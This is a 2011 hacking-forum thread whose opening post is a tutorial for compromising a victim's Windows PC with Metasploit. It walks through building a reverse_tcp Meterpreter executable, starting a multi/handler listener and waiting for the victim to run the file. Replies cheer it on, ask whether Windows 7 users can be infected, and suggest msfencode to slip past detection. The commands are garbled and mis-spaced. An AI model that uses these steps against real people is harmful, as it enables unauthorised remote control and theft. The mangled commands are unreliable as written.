

Forum: [Hack Forums](#)

Thread: [How to hack pc with Metasploit \[Tutorial\]](#)

Infernal-Bluew0rms - November 2, 2011, 8:50 am

[img]http://img444.imageshack.us/img444/7071/slika1h.jpg[/img]

When you open the console type the following:

msfpayload windows / Meterpreter / IP reverse_tcp LHOST = 4444 x = Sport> place / where / you want / save /

fajl.exe

then press enter and I'll show you as shown below.

[img]http://img69.imageshack.us/img69/2623/slika2l.jpg[/img]

Open msfconsole and type the following: use exploit / multi / handler and then enter

[img]http://img684.imageshack.us/img684/2740/slika3p.jpg[/img]

When you did the previous step type this: set payload windows / Meterpreter / reverse_tcp and then enter.

[img]http://img545.imageshack.us/img545/7408/slika4e.jpg[/img]

Once you've done the previous step in order to type the following: set IP lhost and then enter

[img]http://img526.imageshack.us/img526/3215/slika5w.jpg[/img]

After the previous step type: exploit

[img]http://img812.imageshack.us/img812/9964/slika6u.jpg[/img]

When the victim initiated the file you send it to you like printers, as shown.

[img]http://img254.imageshack.us/img254/3918/tut9.jpg[/img]

VISIT

<http://darkforums.com>

??

V For Vendetta - November 2, 2011, 9:31 am

Bookmarked. Looks good. Gonna try this later. :)

-DMT- - November 2, 2011, 9:35 am

where for do you need this? for what is this good?

Stenography - November 2, 2011, 10:22 am

Can I infect with this windows 7 user ?

Joseph Ducreux - November 2, 2011, 10:27 am

(Nov 2, 2011 09:35 AM)Dream Illusion Wrote: [\[CITE\]](#) where for do you need this? for what is this

good?
maybe if you could ask the question right
and ops english isnt perfect. but this is a damn good tut

Epiic - November 2, 2011, 1:46 pm

Bookmarked. Looks good. Gonna try later. :D

bernardbear - December 3, 2011, 9:42 pm

waw much picture,i like your tutorial + b.u_m.p because it noob friendly forme

Araishu - December 4, 2011, 5:23 am

I think I downloaded a bad version of metasploit ...

On start up it was running like 100 "Rubyw" processes and lagging me like crap. I also couldn't delete it without difficulty and when I booted it up it wouldn't work anyway.

-Sad face-

Valour - December 4, 2011, 6:01 am

If you need to send a file and wait for the victim to execute it, then why not use a RAT itself ? It seems very similar to those RAT tutorials except that you configure the executable using the command line.. But nonetheless, its a good tutorial..

EDIT: Weird, why can't I type "VIC.TIM" without that "." ?? It always says slave if I type Vic.Tim without the "."...

shanas - December 4, 2011, 8:16 am

but you can only hack peepz in your network right?

HeR97 - February 7, 2012, 11:15 am

@PolarX

Yes you can infect Windows 7

Rixxon - February 7, 2012, 11:30 am

Wait so do you use an exploit on them to run your file or do they need to run the .exe to get infected?

Rwkeith - February 7, 2012, 9:02 pm

It's a metasploit payload that's executed in an .exe file. So, they will have to run it, opening the session. It's much cleaner than a RAT, and probably more stable in my opinion. There's better ways of doing this if the machine has a vulnerability though. Of course, if your a Pentester, then your going to prefer this than some RAT.

HeR97 - February 8, 2012, 8:10 am

It have not to be .exe extension.No matter how cleaner it is you can always use encoders like msfencode